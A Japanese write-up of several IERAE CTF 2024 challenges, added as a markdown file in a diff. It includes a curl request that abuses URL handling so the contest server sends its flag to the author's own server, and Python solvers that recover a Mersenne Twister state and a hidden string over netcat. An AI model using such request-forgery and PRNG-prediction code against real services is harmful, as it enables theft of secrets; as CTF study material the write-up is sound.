ctf/IERAE CTF 2024 writeup.md
... ...
@@ -0,0 +1,362 @@
1
+IERAE CTFは初参加です。楽しかった!
2
+
3
+チーム名: `at24`, ユーザ名: `takanotume24`で参加しました。
4
+
5
+## Futari APIs
6
+`frontend.ts`の
7
+```javascript
8
+ const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
9
+```
10
+としているところが怪しそう。
11
+
12
+JavaScriptのURLオブジェクトのコンストラクタ`new URL(url, base)`は url が絶対URL である場合、指定されたbase は無視するらしく(なぜ??)、urlに絶対URLを指定すればいいことがわかる。
13
+
14
+参考: <https://developer.mozilla.org/ja/docs/Web/API/URL/URL>
15
+
16
+直後に
17
+```javascript
18
+ return await fetch(uri);
19
+```
20
+があるため、外部のホストへリクエストが飛ばせそう。
21
+denoではデフォルトではネットワークアクセスができないが、今回は`--allow-net`オプションが付いているため許可されている。。
22
+
23
+CTFの競技サーバを`192.0.2.1:3000`, 自分で用意した受信用サーバを`192.0.2.2:3000`とすると、
24
+
25
+```bash
26
+curl "192.0.2.1:3000/search?user=http%3A%2F%2F192.0.2.2%3000"
27
+```
28
+
29
+で`192.0.2.2:3000`に向けてFLAG付きのリクエストが飛んでくる。
30
+
31
+### Weak PRNG
32
+<https://zenn.dev/hk_ilohas/articles/mersenne-twister-previous-state>のプログラムを拝借したところそのまま動作した。
33
+
34
+- `io_lib.py`
35
+
36
+ ```python
37
+ import subprocess
38
+ import string
39
+
40
+ def read_output(
41
+ process: subprocess.Popen,
42
+ expected_prompts: int,
43
+ ) -> list[int]:
44
+ generator_output_list: list[int] = []
45
+
46
+ for _ in range(expected_prompts):
47
+ stdout = process.stdout
48
+
49
+ if stdout is None:
50
+ raise Exception()
51
+
52
+ output = stdout.readline().strip()
53
+ if output:
54
+ print(output)
55
+ output = output.replace(' ', '')
56
+
57
+ if output.isdigit():
58
+ generator_output_list.append(int(output))
59
+
60
+ if expected_prompts >= 16:
61
+ size = len(generator_output_list)
62
+ if not size == 16:
63
+ raise Exception(size)
64
+
65
+ return generator_output_list
66
+ ```
67
+
68
+- `lib.py`
69
+
70
+ ```python
71
+ # https://zenn.dev/hk_ilohas/articles/mersenne-twister-previous-state より引用
72
+
73
+ def untemper(x):
74
+ x = unBitshiftRightXor(x, 18)
75
+ x = unBitshiftLeftXor(x, 15, 0xefc60000)
76
+ x = unBitshiftLeftXor(x, 7, 0x9d2c5680)
77
+ x = unBitshiftRightXor(x, 11)
78
+ return x
79
+
80
+
81
+ def unBitshiftRightXor(x, shift):
82
+ i = 1
83
+ y = x
84
+ while i * shift < 32:
85
+ z = y >> shift
86
+ y = x ^ z
87
+ i += 1
88
+ return y
89
+
90
+
91
+ def unBitshiftLeftXor(x, shift, mask):
92
+ i = 1
93
+ y = x
94
+ while i * shift < 32:
95
+ z = y << shift
96
+ y = x ^ (z & mask)
97
+ i += 1
98
+ return y
99
+
100
+
101
+ def get_prev_state(state):
102
+ for i in range(623, -1, -1):
103
+ result = 0
104
+ tmp = state[i]
105
+ tmp ^= state[(i + 397) % 624]
106
+ if ((tmp & 0x80000000) == 0x80000000):
107
+ tmp ^= 0x9908b0df
108
+ result = (tmp << 1) & 0x80000000
109
+ tmp = state[(i - 1 + 624) % 624]
110
+ tmp ^= state[(i + 396) % 624]
111
+ if ((tmp & 0x80000000) == 0x80000000):
112
+ tmp ^= 0x9908b0df
113
+ result |= 1
114
+ result |= (tmp << 1) & 0x7fffffff
115
+ state[i] = result
116
+ return state
117
+ ```
118
+
119
+- `predict_secret.py`
120
+
121
+ ```python
122
+ from lib import untemper, get_prev_state
123
+ import random
124
+
125
+ def predict_secret(
126
+ xs1: list[int],
127
+ n: int,
128
+ ):
129
+ mt_state = [untemper(x) for x in xs1]
130
+ prev_mt_state = get_prev_state(mt_state)
131
+ random.setstate((3, tuple(prev_mt_state + [0]), None))
132
+
133
+ predicted = [random.getrandbits(32) for _ in range(n)]
134
+ return predicted[623]
135
+ ```
136
+
137
+- `solver.py`
138
+
139
+ ```python
140
+ import subprocess
141
+ from io_lib import read_output
142
+ from predict_secret import predict_secret
143
+
144
+
145
+ if __name__ == '__main__':
146
+ process = subprocess.Popen(
147
+ # ['python3', '../challenge.py'],
148
+ ['nc', '35.201.137.32', '19937'],
149
+ stdin=subprocess.PIPE,
150
+ stdout=subprocess.PIPE,
151
+ stderr=subprocess.PIPE,
152
+ text=True
153
+ )
154
+
155
+ read_output(
156
+ process=process,
157
+ expected_prompts=7,
158
+ )
159
+
160
+ stdin = process.stdin
161
+ if stdin is None:
162
+ raise Exception()
163
+
164
+ generator_output_list: list[int] = []
165
+
166
+ for i in range(40):
167
+ stdin.write('1' + '\n')
168
+ stdin.flush()
169
+ generator_output_list = generator_output_list + read_output(
170
+ process=process,
171
+ expected_prompts=23,
172
+ )
173
+ print(generator_output_list)
174
+
175
+ predicted_secret = predict_secret(
176
+ xs1=generator_output_list[:624],
177
+ n=624,
178
+ )
179
+
180
+ print(predicted_secret)
181
+
182
+
183
+ stdin.write(f'2' + '\n')
184
+ stdin.flush()
185
+ generator_output_list = generator_output_list + read_output(
186
+ process=process,
187
+ expected_prompts=2,
188
+ )
189
+
190
+ stdin.write(f'{predicted_secret}' + '\n')
191
+ stdin.flush()
192
+ generator_output_list = generator_output_list + read_output(
193
+ process=process,
194
+ expected_prompts=2,
195
+ )
196
+ ```
197
+
198
+
199
+## babewaf
200
+解けなかったけどいくつか勉強になったことがあるのでメモ。
201
+- expressはデフォルトでルーティングの際にキャピタライズを考慮しない。
202
+ - <https://stackoverflow.com/questions/21216523/nodejs-express-case-sensitive-urls>
203
+ - `/GIVEMEFLAG`でexpressを貫通させて、なんとかHonoに拾わせるのだと思っていた。
204
+- expressでは正規表現の*文字は通常の方法で解釈されない。
205
+ - <https://expressjs.com/ja/guide/routing.html>
206
+ > Express 4.xでは、正規表現の*文字は通常の方法で解釈されません。回避策として、*の代わりに{0,}を使用してください。これは、Express 5で修正される可能性があります。
207
+ - <https://github.com/expressjs/express/issues/2495>
208
+ - 以下のルーティングに問題があるのではないかと疑っていた。
209
+ ```
210
+ app.get(
211
+ "*",
212
+ createProxyMiddleware({
213
+ target: BACKEND,
214
+ }),
215
+ );
216
+ ```
217
+
218
+## derangement
219
+
220
+- `candidate_char_set`: ヒント文字列で出現した全ての文字の集合
221
+- `appeared_char_set_dict[i]`: ヒント文字列のi文字目に出現した全ての文字の集合
222
+
223
+とすると、`candidate_char_set`の中から、`appeared_char_set_dict[i]`を削除するとi文字目の文字だけが残る。
224
+
225
+競技サーバを`192.0.2.1:55555`, とする。
226
+
227
+```python
228
+import subprocess
229
+import string
230
+
231
+def read_output(
232
+ process: subprocess.Popen,
233
+ expected_prompts: int,
234
+ hint_list: list[str],
235
+ ) -> list[str]:
236
+
237
+ for _ in range(expected_prompts):
238
+ stdout = process.stdout
239
+
240
+ if stdout is None:
241
+ raise Exception()
242
+
243
+ output = stdout.readline().strip()
244
+ if output:
245
+ print(output)
246
+
247
+ if 'hint: ' in output:
248
+ hint_str = output.replace('> hint: ', '')
249
+ hint_list.append(hint_str)
250
+
251
+ return hint_list
252
+
253
+def remove_from_charset(
254
+ hint_char_set: set[str],
255
+) -> set[str]:
256
+ CHAR_SET = string.ascii_letters + string.digits + string.punctuation
257
+ CHAR_SET = set(CHAR_SET)
258
+
259
+ remained_char_set = CHAR_SET
260
+
261
+ for hint_char in hint_char_set:
262
+ remained_char_set.remove(hint_char)
263
+
264
+ return remained_char_set
265
+
266
+def get_char_set_at_n_from_hint_list(
267
+ hint_list: list[str],
268
+ index: int,
269
+) -> set[str]:
270
+ appeared_char_set = set()
271
+ for hint_str in hint_list:
272
+ hint_char = hint_str[index]
273
+ appeared_char_set.add(hint_char)
274
+
275
+ return appeared_char_set
276
+
277
+def main():
278
+ process = subprocess.Popen(
279
+ # ['python3', '../challenge.py'],
280
+ ['nc','192.0.2.1','55555'],
281
+ stdin=subprocess.PIPE,
282
+ stdout=subprocess.PIPE,
283
+ stderr=subprocess.PIPE,
284
+ text=True
285
+ )
286
+
287
+
288
+ hint_list:list[str] = []
289
+ hint_list = read_output(
290
+ process=process,
291
+ expected_prompts=8,
292
+ hint_list=hint_list,
293
+ )
294
+
295
+ print(hint_list)
296
+
297
+
298
+ for i in range(290):
299
+ commands = ['1']
300
+ for command in commands:
301
+ stdin = process.stdin
302
+ if stdin is None:
303
+ raise Exception()
304
+
305
+ stdin.write(command + '\n')
306
+ stdin.flush()
307
+ read_output(
308
+ process=process,
309
+ expected_prompts=3,
310
+ hint_list=hint_list,
311
+ )
312
+
313
+ print(hint_list)
314
+ candidate_char_set = set()
315
+ appeared_char_set_dict: dict[int, set[str]] = {}
316
+ for i in range(15):
317
+ appeared_char_set = get_char_set_at_n_from_hint_list(
318
+ hint_list=hint_list,
319
+ index=i,
320
+ )
321
+ s = ''.join(sorted(appeared_char_set))
322
+ print(s, len(s))
323
+
324
+ candidate_char_set = candidate_char_set | appeared_char_set
325
+ appeared_char_set_dict[i] = appeared_char_set
326
+
327
+ print(candidate_char_set)
328
+
329
+ answer= ''
330
+ for index, appeared_char_set in appeared_char_set_dict.items():
331
+ s = (candidate_char_set - appeared_char_set).pop()
332
+ answer = answer + s
333
+
334
+ print(f'SOLVED!!: {answer}')
335
+
336
+ stdin.write('2' + '\n')
337
+ stdin.flush()
338
+ read_output(
339
+ process=process,
340
+ expected_prompts=2,
341
+ hint_list=hint_list,
342
+ )
343
+
344
+ stdin.write(answer + '\n')
345
+ stdin.flush()
346
+
347
+ read_output(
348
+ process=process,
349
+ expected_prompts=3,
350
+ hint_list=hint_list,
351
+ )
352
+
353
+
354
+ # 終了処理
355
+ process.stdin.close()
356
+ process.stdout.close()
357
+ process.stderr.close()
358
+ process.wait()
359
+
360
+if __name__ == "__main__":
361
+ main()
362
+```